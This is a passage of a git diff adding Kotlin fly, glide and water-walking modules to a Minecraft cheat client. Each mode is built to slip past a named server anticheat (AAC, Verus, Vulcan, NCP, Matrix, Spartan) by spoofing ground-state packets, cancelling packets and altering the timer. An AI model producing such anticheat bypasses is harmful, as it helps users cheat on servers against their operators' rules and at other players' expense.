(stage == FlyStage.WAITING) { + flags++ + if (flags >= 2) { + flags = 0 + stage = FlyStage.FLYING + } + } + if (stage == FlyStage.WAIT_APPLY) { + if(sqrt((packet.x - groundX) * (packet.x - groundX) + + (packet.z - groundZ) * (packet.z - groundZ)) < 1.4 && packet.y >= (groundY - 0.5)) { + fly.state = false + return + } + } + event.cancelEvent() + } + is C0BPacketEntityAction -> { + event.cancelEvent() + } + } + } + + enum class FlyStage { + WAITING, + FLYING, + WAIT_APPLY + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/zonecraft/ZoneCraftFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/zonecraft/ZoneCraftFly.kt new file mode 100644 index 0000000..916da70 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/zonecraft/ZoneCraftFly.kt @@ -0,0 +1,39 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.zonecraft + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.minecraft.block.BlockAir +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos + +class ZoneCraftFly : FlyMode("ZoneCraft") { + private val timerBoostValue = BoolValue("${valuePrefix}TimerBoost", false) + + override fun onMove(event: MoveEvent) { + mc.timer.timerSpeed = 1f + + if (timerBoostValue.get()) { + if(mc.thePlayer.ticksExisted % 20 < 10) { + mc.timer.timerSpeed = 1.25f + } else { + mc.timer.timerSpeed = 0.8f + } + } + + RotationUtils.setTargetRotation(Rotation(mc.thePlayer.rotationYaw, 90f)) + mc.netHandler.networkManager.sendPacket(C08PacketPlayerBlockPlacement(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1, mc.thePlayer.posZ), 1, null, 0f, 1f, 0f)) + + } + + override fun onBlockBB(event: BlockBBEvent) { + if (event.block is BlockAir && event.y <= fly.launchY) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, fly.launchY, event.z + 1.0) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/zonecraft/ZoneCraftFly2.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/zonecraft/ZoneCraftFly2.kt new file mode 100644 index 0000000..7c4507a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/zonecraft/ZoneCraftFly2.kt @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.zonecraft + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class ZoneCraftFly2 : FlyMode("ZoneCraft2") { + + override fun onMove(event: MoveEvent) { + mc.timer.timerSpeed = 1f + if(mc.thePlayer.onGround) { + mc.thePlayer.motionY = 0.42 + } else { + mc.thePlayer.motionY = 0.0 + MovementUtils.strafe(0.259f) + + mc.thePlayer.posY -= (mc.thePlayer.posY % 0.1152) + + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/GlideMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/GlideMode.kt new file mode 100644 index 0000000..8eff0cc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/GlideMode.kt @@ -0,0 +1,29 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.glides + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.Glide +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.features.value.Value + +abstract class GlideMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val glide: Glide + get() = FDPClient.moduleManager[Glide::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + open fun onEnable() {} + open fun onDisable() {} + + open fun onUpdate(event: UpdateEvent) {} + open fun onMotion(event: MotionEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onMove(event: MoveEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onStep(event: StepEvent) {} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/aac/AAC3312Glide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/aac/AAC3312Glide.kt new file mode 100644 index 0000000..2ea76cb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/aac/AAC3312Glide.kt @@ -0,0 +1,27 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.glides.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.glides.GlideMode + +class AAC3312Glide : GlideMode("AAC3.3.12") { + private var delay = 0 + + override fun onUpdate(event: UpdateEvent) { + if (!mc.thePlayer.onGround) { + delay++ + } + + if (delay == 2) { + mc.timer.timerSpeed = 1F + } + + if (delay == 12) { + mc.timer.timerSpeed = 0.1F + } + + if (delay >= 12 && !mc.thePlayer.onGround) { + delay = 0 + mc.thePlayer.motionY = .015 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/aac/AAC4XGlide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/aac/AAC4XGlide.kt new file mode 100644 index 0000000..b803489 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/aac/AAC4XGlide.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.glides.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.glides.GlideMode + +class AAC4XGlide : GlideMode("AAC4.X") { + private var delay = 0 + + override fun onEnable() { + delay = 0 + } + + override fun onUpdate(event: UpdateEvent) { + if (!mc.thePlayer.onGround && !mc.thePlayer.isCollided) { + mc.timer.timerSpeed = 0.6f + if (mc.thePlayer.motionY < 0 && delay > 0) { + delay-- + mc.timer.timerSpeed = 0.95f + } else { + delay = 0 + mc.thePlayer.motionY = mc.thePlayer.motionY / 0.9800000190734863 + mc.thePlayer.motionY += 0.03 + mc.thePlayer.motionY *= 0.9800000190734863 + mc.thePlayer.jumpMovementFactor = 0.03625f + } + } else { + mc.timer.timerSpeed = 1.0f + delay = 2 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/other/MinemoraGlide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/other/MinemoraGlide.kt new file mode 100644 index 0000000..1360e60 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/other/MinemoraGlide.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.glides.other + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.glides.GlideMode +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue + +class MinemoraGlide : GlideMode("Minemora") { + private val modeValue = ListValue("${valuePrefix}Mode", arrayOf("Glide1", "Glide2"), "Glide1") + private val glide2TickValue = IntegerValue("${valuePrefix}Glide2-Tick", 4 , 2,8).displayable { modeValue.equals("Glide2") } + private var glide2tick = 0 + private var glide3tick = 0 + override fun onEnable() { + glide2tick = 0 + glide3tick = 0 + } + override fun onUpdate(event: UpdateEvent) { + when(modeValue.get()) { + "Glide1" -> mc.thePlayer.motionY = -0.0784000015258789 + + "Glide2" -> { + glide2tick++ + mc.thePlayer.motionY = -0.0784000015258789 + if(glide2tick>=glide2TickValue.get()) { + glide2tick = 0 + mc.thePlayer.motionY = 0.04 + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/other/NeruxVaceGlide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/other/NeruxVaceGlide.kt new file mode 100644 index 0000000..2f6b107 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/other/NeruxVaceGlide.kt @@ -0,0 +1,26 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.glides.other + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.glides.GlideMode +import net.ccbluex.liquidbounce.features.value.IntegerValue + +class NeruxVaceGlide : GlideMode("NeruxVace") { + private val ticksValue = IntegerValue("${valuePrefix}Ticks", 6, 0, 20) + + private var glideDelay = 0 + + override fun onEnable() { + glideDelay = 0 + } + + override fun onUpdate(event: UpdateEvent) { + if (!mc.thePlayer.onGround) { + glideDelay++ + } + + if (glideDelay >= ticksValue.get() && !mc.thePlayer.onGround) { + glideDelay = 0 + mc.thePlayer.motionY = 0.015 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/other/StableMotionGlide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/other/StableMotionGlide.kt new file mode 100644 index 0000000..d196ead --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/other/StableMotionGlide.kt @@ -0,0 +1,12 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.glides.other + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.glides.GlideMode +import net.ccbluex.liquidbounce.features.value.FloatValue + +class StableMotionGlide : GlideMode("StableMotion") { + private val glideMotionValue = FloatValue("${valuePrefix}Motion", -0.0784f, -1.0f, 0.0f) + override fun onUpdate(event: UpdateEvent) { + mc.thePlayer.motionY = glideMotionValue.get().toDouble() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/verus/VerusCollideGlide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/verus/VerusCollideGlide.kt new file mode 100644 index 0000000..24c009f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/verus/VerusCollideGlide.kt @@ -0,0 +1,41 @@ + +package net.ccbluex.liquidbounce.features.module.modules.movement.glides.verus + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.glides.GlideMode +import net.minecraft.network.play.client.C03PacketPlayer + +class VerusCollideGlide : GlideMode("VerusCollide") { + private var needSpoof = false + private var packetModify = false + private var packet1Count = 0.0 + override fun onEnable() { + needSpoof = false + packetModify = false + packet1Count = 0.0 + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && needSpoof) { + event.packet.onGround = true + needSpoof = false + } + } + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.fallDistance - mc.thePlayer.motionY > 0.5) { + mc.thePlayer.motionY = 0.0 + mc.thePlayer.fallDistance = 0.0f + mc.thePlayer.motionX *= 0.6 + mc.thePlayer.motionZ *= 0.6 + needSpoof = true + } + + if (mc.thePlayer.fallDistance.toInt() / 3 > packet1Count) { + packet1Count = mc.thePlayer.fallDistance.toInt() / 0.5 + packetModify = true + } + + if (mc.thePlayer.onGround) packet1Count = 0.0 + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/vulcan/Vulcan263Glide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/vulcan/Vulcan263Glide.kt new file mode 100644 index 0000000..3dca428 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/vulcan/Vulcan263Glide.kt @@ -0,0 +1,22 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.glides.vulcan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.glides.GlideMode + +class Vulcan263Glide : GlideMode("Vulcan2.6.3") { + private var ticks = 0 + override fun onUpdate(event: UpdateEvent) { + if(mc.thePlayer.motionY<= -0.10) { + ticks++ + if(ticks % 2 == 0) { + mc.thePlayer.motionY = -0.1 + mc.thePlayer.jumpMovementFactor = 0.0265f + }else{ + mc.thePlayer.motionY = -0.16 + mc.thePlayer.jumpMovementFactor = 0.0265f + } + }else{ + ticks = 0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/vulcan/VulcanTestGlide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/vulcan/VulcanTestGlide.kt new file mode 100644 index 0000000..592c770 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/glides/vulcan/VulcanTestGlide.kt @@ -0,0 +1,19 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.glides.vulcan + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.glides.GlideMode + +class VulcanTestGlide : GlideMode("VulcanTest") { + private var ticks = 0 + override fun onMove(event: MoveEvent) { + if (mc.thePlayer.fallDistance > 2) { + mc.thePlayer.onGround = true + mc.thePlayer.fallDistance = 0f + } + if (mc.thePlayer.ticksExisted % 3 == 0) { + mc.thePlayer.motionY += 0.026 + } else { + mc.thePlayer.motionY = -0.0991 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/JesusMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/JesusMode.kt new file mode 100644 index 0000000..16bd67e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/JesusMode.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.Jesus +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.features.value.Value +import net.minecraft.util.BlockPos + +abstract class JesusMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val jesus: Jesus + get() = FDPClient.moduleManager[Jesus::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + open fun onEnable() {} + open fun onDisable() {} + + open fun onUpdate(event: UpdateEvent) {} + open fun onMotion(event: MotionEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onMove(event: MoveEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onStep(event: StepEvent) {} + open fun onJesus(event: UpdateEvent, blockPos: BlockPos) {} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AAC3311Jesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AAC3311Jesus.kt new file mode 100644 index 0000000..83d73b2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AAC3311Jesus.kt @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.minecraft.init.Blocks +import net.minecraft.util.BlockPos + +class AAC3311Jesus : JesusMode("AAC3.3.11") { + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (mc.thePlayer.isInWater) { + mc.thePlayer.motionX *= 1.17 + mc.thePlayer.motionZ *= 1.17 + if (mc.thePlayer.isCollidedHorizontally) { + mc.thePlayer.motionY = 0.24 + } else if (mc.theWorld.getBlockState(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1.0, mc.thePlayer.posZ)).block !== Blocks.air) { + mc.thePlayer.motionY += 0.04 + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AAC421Jesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AAC421Jesus.kt new file mode 100644 index 0000000..5bccbed --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AAC421Jesus.kt @@ -0,0 +1,22 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.init.Blocks +import net.minecraft.util.BlockPos + +class AAC421Jesus : JesusMode("AAC4.2.1") { + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (!mc.thePlayer.onGround && BlockUtils.getBlock(blockPos) === Blocks.water || mc.thePlayer.isInWater) { + mc.thePlayer.motionY *= 0.0 + mc.thePlayer.jumpMovementFactor = 0.08f + if (mc.thePlayer.fallDistance > 0) { + return + } else if (mc.thePlayer.isInWater) { + mc.gameSettings.keyBindJump.pressed = true + } + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AACFlyJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AACFlyJesus.kt new file mode 100644 index 0000000..0e0878d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AACFlyJesus.kt @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.aac + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.features.value.FloatValue + +class AACFlyJesus : JesusMode("AACFly") { + private val aacMotionValue = FloatValue("${valuePrefix}Motion", 0.5f, 0.1f, 1f) + override fun onMove(event: MoveEvent) { + if (!mc.thePlayer.isInWater) { + return + } + + event.y = aacMotionValue.get().toDouble() + mc.thePlayer.motionY = aacMotionValue.get().toDouble() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AACJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AACJesus.kt new file mode 100644 index 0000000..5d6210b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/aac/AACJesus.kt @@ -0,0 +1,35 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.init.Blocks +import net.minecraft.util.BlockPos + +class AACJesus : JesusMode("AAC") { + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (!mc.thePlayer.onGround && BlockUtils.getBlock(blockPos) === Blocks.water || mc.thePlayer.isInWater) { + if (!mc.thePlayer.isSprinting) { + mc.thePlayer.motionX *= 0.99999 + mc.thePlayer.motionY *= 0.0 + mc.thePlayer.motionZ *= 0.99999 + if (mc.thePlayer.isCollidedHorizontally) { + mc.thePlayer.motionY = ((mc.thePlayer.posY - (mc.thePlayer.posY - 1).toInt()).toInt() / 8f).toDouble() + } + } else { + mc.thePlayer.motionX *= 0.99999 + mc.thePlayer.motionY *= 0.0 + mc.thePlayer.motionZ *= 0.99999 + if (mc.thePlayer.isCollidedHorizontally) { + mc.thePlayer.motionY = ((mc.thePlayer.posY - (mc.thePlayer.posY - 1).toInt()).toInt() / 8f).toDouble() + } + } + if (mc.thePlayer.fallDistance >= 4) { + mc.thePlayer.motionY = -0.004 + } else if (mc.thePlayer.isInWater) mc.thePlayer.motionY = 0.09 + } + if (mc.thePlayer.hurtTime != 0) { + mc.thePlayer.onGround = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/matrix/MatrixJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/matrix/MatrixJesus.kt new file mode 100644 index 0000000..d19a884 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/matrix/MatrixJesus.kt @@ -0,0 +1,28 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.matrix + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.block.BlockLiquid +import net.minecraft.util.BlockPos + +class MatrixJesus : JesusMode("Matrix") { + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (mc.thePlayer.isInWater) { + mc.gameSettings.keyBindJump.pressed = false + if (mc.thePlayer.isCollidedHorizontally) { + mc.thePlayer.motionY = 0.09 + return + } + val block = BlockUtils.getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1, mc.thePlayer.posZ)) + val blockUp = BlockUtils.getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1.1, mc.thePlayer.posZ)) + if (blockUp is BlockLiquid) { + mc.thePlayer.motionY = 0.1 + } else if (block is BlockLiquid) { + mc.thePlayer.motionY = 0.0 + } + mc.thePlayer.motionX *= 1.15 + mc.thePlayer.motionZ *= 1.15 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/ncp/NCPJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/ncp/NCPJesus.kt new file mode 100644 index 0000000..93cc172 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/ncp/NCPJesus.kt @@ -0,0 +1,59 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.ncp + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.minecraft.block.BlockLiquid +import net.minecraft.block.material.Material +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos + +class NCPJesus : JesusMode("NCP") { + private var nextTick = false + override fun onEnable() { + nextTick = false + } + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (jesus.isLiquidBlock() && mc.thePlayer.isInsideOfMaterial(Material.air)) { + mc.thePlayer.motionY = 0.08 + } + } + + override fun onBlockBB(event: BlockBBEvent) { + if (mc.thePlayer == null || mc.thePlayer.entityBoundingBox == null) { + return + } + + if (event.block is BlockLiquid && !jesus.isLiquidBlock() && !mc.thePlayer.isSneaking) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), (event.x + 1).toDouble(), (event.y + 1).toDouble(), (event.z + 1).toDouble()) + } + } + + override fun onPacket(event: PacketEvent) { + if (mc.thePlayer == null) { + return + } + + if (event.packet is C03PacketPlayer) { + if (jesus.isLiquidBlock( + AxisAlignedBB( + mc.thePlayer.entityBoundingBox.maxX, + mc.thePlayer.entityBoundingBox.maxY, + mc.thePlayer.entityBoundingBox.maxZ, + mc.thePlayer.entityBoundingBox.minX, + mc.thePlayer.entityBoundingBox.minY - 0.01, + mc.thePlayer.entityBoundingBox.minZ + ) + ) + ) { + nextTick = !nextTick + if (nextTick) { + event.packet.y -= 0.001 + } + } + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/other/Horizon146Jesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/other/Horizon146Jesus.kt new file mode 100644 index 0000000..31d5f0b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/other/Horizon146Jesus.kt @@ -0,0 +1,18 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.other + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.util.BlockPos + +class Horizon146Jesus : JesusMode("Horizon1.4.6") { + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + mc.gameSettings.keyBindJump.pressed = mc.thePlayer.isInWater + if (mc.thePlayer.isInWater) { + MovementUtils.strafe() + if (MovementUtils.isMoving() && !mc.thePlayer.onGround) { + mc.thePlayer.motionY += 0.13 + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/other/TwillightJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/other/TwillightJesus.kt new file mode 100644 index 0000000..ed1bf55 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/other/TwillightJesus.kt @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.other + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.util.BlockPos + +class TwillightJesus : JesusMode("Twillight") { + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (mc.thePlayer.isInWater) { + mc.thePlayer.motionX *= 1.04 + mc.thePlayer.motionZ *= 1.04 + MovementUtils.strafe() + } + } + + override fun onMove(event: MoveEvent) { + if (!mc.thePlayer.isInWater) return + + event.y = 0.01 + mc.thePlayer.motionY = 0.01 + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/spartan/SpartanJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/spartan/SpartanJesus.kt new file mode 100644 index 0000000..952cad2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/spartan/SpartanJesus.kt @@ -0,0 +1,28 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.spartan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.block.BlockLiquid +import net.minecraft.util.BlockPos + +class SpartanJesus : JesusMode("Spartan") { + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (mc.thePlayer.isInWater) { + if (mc.thePlayer.isCollidedHorizontally) { + mc.thePlayer.motionY += 0.15 + return + } + val block = BlockUtils.getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1, mc.thePlayer.posZ)) + val blockUp = BlockUtils.getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1.1, mc.thePlayer.posZ)) + if (blockUp is BlockLiquid) { + mc.thePlayer.motionY = 0.1 + } else if (block is BlockLiquid) { + mc.thePlayer.motionY = 0.0 + } + mc.thePlayer.onGround = true + mc.thePlayer.motionX *= 1.085 + mc.thePlayer.motionZ *= 1.085 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/DolphinJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/DolphinJesus.kt new file mode 100644 index 0000000..ad4121e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/DolphinJesus.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.vanilla + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.minecraft.util.BlockPos + +class DolphinJesus : JesusMode("Dolphin") { + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (mc.thePlayer.isInWater) mc.thePlayer.motionY += 0.03999999910593033 + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/JumpJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/JumpJesus.kt new file mode 100644 index 0000000..ca6f446 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/JumpJesus.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.vanilla + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.block.BlockLiquid +import net.minecraft.init.Blocks +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos + +class JumpJesus : JesusMode("Jump") { + private val 